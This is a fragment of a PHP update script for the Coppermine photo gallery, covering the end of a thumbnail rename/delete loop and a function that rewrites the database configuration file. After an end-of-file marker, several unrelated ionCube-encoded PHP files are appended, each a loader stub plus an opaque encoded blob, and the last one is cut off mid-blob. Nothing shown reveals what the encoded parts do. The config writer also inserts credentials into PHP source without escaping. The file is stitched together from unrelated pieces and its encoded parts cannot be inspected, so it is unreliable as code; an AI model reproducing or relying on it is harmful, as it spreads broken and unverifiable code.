                    echo <<< EOT
            <tr>
                <td class="{$cellStyle}">
                    {$delete_output}
                </td>

EOT;
                    if (!file_exists($delete_file)) {
                        $result_output = $already_done_icon . $lang_update_php['already_done'];
                    } else {
                        list($delete_result,$debug_output) = cpg_folder_file_delete($delete_file);
                        if ($delete_result == TRUE ) {
                            $result_output = $ok_icon . $lang_common['ok'];
                        } else {
                            $result_output = $error_icon . $lang_update_php['could_not_delete'];
                        }
                    }
                    echo <<< EOT
                <td class="{$cellStyle}">
                    {$result_output}
                </td>
            </tr>

EOT;
                    $loopCounter++;
                    continue;

                } else {
                    $rename_result = @rename($rename_file_from, $rename_file_to);
                    if ($rename_result == TRUE ) {
                        $result_output = $ok_icon . $lang_common['ok'];
                    } else {
                        $result_output = $error_icon . $lang_update_php['could_not_rename'];
                    }
                }
                echo <<< EOT
                <td class="{$cellStyle}">
                    {$result_output}
                </td>
            </tr>

EOT;
                $loopCounter++;
            } // foreach $thumbs
        } // foreach $folders
    } // if different thumb_pfx
}

function set_config_dbtype ($db_type)
{
	global $lang_update_php, $errors;
	include 'include/config.inc.php';
	$CONFIG['dbtype'] = $db_type;
	$config = <<<EOT
<?php
// Coppermine configuration file
// Database configuration
\$CONFIG['dbtype'] =      '{$CONFIG['dbtype']}';			// Your database type
\$CONFIG['dbserver'] =    '{$CONFIG['dbserver']}';			// Your database server
\$CONFIG['dbuser'] =      '{$CONFIG['dbuser']}';			// Your database username
\$CONFIG['dbpass'] =      '{$CONFIG['dbpass']}';			// Your database password
\$CONFIG['dbname'] =      '{$CONFIG['dbname']}';			// Your database name

// DATABASE TABLE NAMES PREFIX
\$CONFIG['TABLE_PREFIX'] =         '{$CONFIG['TABLE_PREFIX']}';
EOT;
    //write config file to disk
    if ($fd = @fopen('include/config.inc.php', 'wb')) {
        fwrite($fd, $config);
        fclose($fd);
    } else {
        $errors .= '<hr /><br />' . $lang_update_php['unable_write_config'] . '<br />';
    }
}
// function definitions --- end
//EOF<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
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<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
HR+cPuNcg7GdDX5xFbmzL/0biOYHoYL0yRso/C89VRW4XiVCrF/kfAwCEAgd8lwREAiBsrplJEdY
Mh286wd4z+FMasAZ9HKg1VO6DADQi/Qwi6f2ny8jzQlPEb9b4viLZP4p+hBxfKyfQgl0aJ50ceZE
IegjiH5BsGr/fMGNRsQKDUWpyKyIzXmoq8ZcuxeEuoDif82knV9KmiHAJ07iTbiMPvbR3Nx1ZFaj
PboIoPTS8n3KEgVnvYl+JjpZ61GWuVsCh+Zam6ueFzu3U/CAuwzTkgXID5/tRS/ZNQCNedyHW7/z
iK4D3jNS+1n7tMMmIXDpYsjO+yJlStmJkMCbhb0L2zvC4UK2bacYa7JsudxmwNE5CH3gHzwNIv1m
BcW7EWX7hl6De8vUohr3+Zs/W+Nuc7/gK/ScYztGQl50KZzl4l+OC+pr5l2vgYdiYM0vP48YASCC
KiWXcgm8/jDFsEEBEGSrawtQD0EbfSNjDMzuRNunpa5o05RcddBt7kVctNi6EP2SCYTou4Sp8oBE
y8wTz6Wkqi81FjPAHdfTM5tWcW6IsTNa7oQ//zrWnF7ahxjsNarKW4BWQ9cjVCoEoJ0fY7Db3KXR
7ZFAaP3AiHG1GCLg3qp347TSrmhyRofpXlCpGHqYisdTVca//oKep7KN1v1TTean+nVRKPmWwFCb
c3v6QS84ZTqdC/K5cUOwPu9ps3h+D2LTFJGUPwiTN+CIHROxghug1eIelklfnxSCHwWnjKW8Qrgg
+H+JOU8t2P/WkeZ87175g08NLjSBLRpwxNMOFcUxgfORpJjsoNjiPtghhGlnNsJhXB04SdVaG1QB
pQQl+2DJomLUxtWpx0ZieY7zsedwCVGZuGaZbSAZh8mKzfOjCr0K8PI599AM5hoMr2OThnGOXOtb
ZZzMJzgaMxvfzNR0WnGFvZxxTMLgSP3SSZDz0xxSWbSnC5M38PBCW//OunhIl3kcRsmL0KsHfTO5
IzjPuZFCxZ0VGxMRW6LZX6ASiEGc1YW1sH2Pu8wr9KhelDzdL/3rQP1X8bnrN7iXP/g9NZs0OQCR
Psfm2cPL+CQEZBhO5c+iYu4KaWQ78C23UG7+QMt6ZOFNe2biRL55hczVEflItz4K9RTrYmFQtiMg
eTVqv3e/cfAXOA49Da6F3AtfvELp3AFs/xTo+0==<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
HR+cPxpRKQi18QgCt6t4Y1FLitLRaycHWz/lk8Quv4ppLKjJ6wRja7UYiRKFNCnpK2aHQstAD+3w
k/AyiyPP9g8eYwso5qqKC2SvtzbWNP3KeeD8qN6klq2GvzAm9OlSVD+r/G06Hwa7+vof/OO+LazY
7eLAUcHJT2fsmhOksqQgBD6Ql3wIvu0S2my89Zr32Ym4sSrRP4HQDIkDxIOR7fzTZkAffW1K2shA
MSK41d7x4RQUM7QheNmLGoAs5KB4QpiF5S1eRYW/tWDxymhZhrswg58qNzXZeEeqn00Ctl5AYVsn
GGq/cYq250yYFU0TULemA939vLwG8lqkR7iIxtXS+F06sIlGVJ61fwLtQx/8Ikz/H5ZOIgcx3dyc
SNmx2+mA+bZTD4z7o/r3NC8MHaBRrx73cckcPHBx1eA8oh6Hv4Ftv7lDSrsgvEEa3/TYsnwgiRRw
zp0grx07P2Hb/MQEGYt6bVy4kodUgxIbNdxAwd81096VwkBvjXjJ+wTjqnkVwoyDx1KOvcCsuTwv
E6/L+e/i25OnCfTST0as8XPnFNswlC9i9FRf2fhYhnHjKEitLqkkS4GlGby9SsKRT7PLBR33Y7YK
PmH6soR7t8JSAjJxbb24jEN7xDnUPlF9bZ/LiWblM6wcAO2Vm6qVq25K5r6GjbPYGuNOnGUPAwld
Ilu6x24DINtcjLPRiOs/5jzUkVSG4qkvL4tmKDz04PYjT8D1W+zH6lnGUiBeAP1I+7PcDxV0gc85
ru5DwL5xRr6PJJrxZ1HbWoJx1kF6arx006i1i31FldPhxmv9SgexUagqIArExoJuKTiSlb74pZvh
cDZwqfmtRODYNL3Pd6LDkZ0hKLbi6oc1/gA+VvHA2xXlkCxmcPXu4UFmilFwMX3QVbtm88dT/5lz
BNRTyPy7szeBw44aGUROJVnhcehIA9Y30wyckCYJqLjj/KakmhYFsIIQ5H1PIiRVA4mb0G6Eh9WS
/+B3bJleKFMZ6eZzGlySwHeXdrK87s2oodFvB4yMuWHdwtIr7w1EvOmfq2SqyG7umzSjMNRGSgPD
cHHmjOwXORHtJ+AUafgPMLOqtLnvlyDIzH1Zb0CHd5w7wOURP2is2QQVnnofefADaY41MNyIZ9NU
9sCDECuxfzMslYsakq6zQezRhTT6WVhUWJz5gtfW5v7VKO3njQjVOkb8uuwK1ht6aUJC1ldi5MtD
712KuIi5xrSuYbi4E2lLl+9BCrG+vOKRFxneYFuNsGxfnDxy5Nyxh/Wd2gXdId13SBCBjhzIxgfu
8THcArSqfjNMRf26E8YyW3vXh7acyDXcRFOxIncVKyxo/+2KdlWbow8O/qHJhP5GDf1e/90X9Wtr
+kbXubRZ8+SUew1SzKKeScUi+eGban/yjpP3n8BFKazYHkXLlHLr++py681bviqZgTC31G58dVYj
HLjlorKruLBwERbaNTSpBSylkwhViHMD73V2i5v09zhaekZXIwYcLstwVqbVDMrafrWHiPD/Xr2R
Jex05D9aOfRGimyIj/XF2ZIUzsnWZSwIRriJu4mtdUfizJJPhostnaKlusyrMilHtnvILjWIIrKJ
78xn37WWgF+/yHSZoeQxG7rR/f80QaY7A06gSmSi3LVHClUYlf2gsNXPm0XVDEtw0i8MBY0w4d7b
D1LI6gj8tLGjoULvKWZ/6E1yOP7c9nDQqWYQJ1tUmbKY9mOCyUcnEPGjUOYGHNXpIqdmsf4k9Z3R
141RhRD4MVAvh9A8/YCPU6gR1i/uP+/0YNZ8SBsDjj/F5p3bzd+VChlLlL51zXE+6Vnd3e6EhytL
c3TYv3fM8VfGCl/DXNftEuA9Yb1C9KrIyPVt18zy4+CYOSbKZLX3H2GaIZOBmT7z54WAQMrckEF4
bxaodnJIIspNWdM+DRaR6PtF/Vu6hZi46R5fE0r4sT2wK29Qqqca56pKQiZUkl0wclM+/2xuPwJy
lmTJ4aqT6GunV9CMabQCmWEb0f/pYM7uNg9x31xOQ91ubmqu5QNAfthEMSkE4u+131VGHBHY2ALB
pKYQwANVNCxplZLPPKhhYLKW5G+3kuT/RzugCGvIp430S7Ppa3OngoLrER3bkeX7YmhZJR+gCJKg
LtI+BvSWGlxVjnx3rdKId3MfXFkS0G43cCvO5uL91nHgxwUILhOkcGY/UNPqPnUdtk+inAu4DBu1
c89hS9/clCc4B0axaVmeX7bh4bkLmh6M4UjHzx6nftC2nmLJOUN0tkrquMsC1o3UrK+egkiK7CCl
DJYw5QMNwwByT7B1Gn8OCADuOPb672piDe0i8KVNrQjgdX+LYsHw40j/ufKk/mkT7XnOvUWYRyQW
Hh2eC4GHhT2z6PmZG0RpT1FlrgisQGBwdYQUg/pg0MiLoXDIWs1veQc4fhIK0mYAvjuVDd+H7Wg1
gtnHUB5YNCrylhVJH0N8rGHacUjXWSJhI6r5gPC6sQCrJseNaiAjAqc2+5ldylZHepHGWpymDNqZ
/QkVtUPRCEmZYxcOxPPy9mFbJEI7MHPMCEjPj9Rs9ahwyBMO11x4jQFLb+s99k/YROLrHgUp+azX
UDlYY0JdlYQkBHa0h134R5jHojq5w53rfgjXqz6/wm2dVhmZ6hsDZjZ2XeP+D5zd+mWEHeEivMTL
Wm==<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
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
haUwvflG/ybCiQkasdO=<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
HR+cPv/BV1XlcqLGTWVfE/wjcTCwskUvgj3jDE0JMtb3Twg8Ki+nwyhRUwTmpwjTk8YaM1KTFbUN
3vAaokb3WKQvBJRb8uxAlOAQuRswVVBwNCZVt0XsEHnqzW5psILY/nxxgyTWXJyCzRpSiaIvI13w
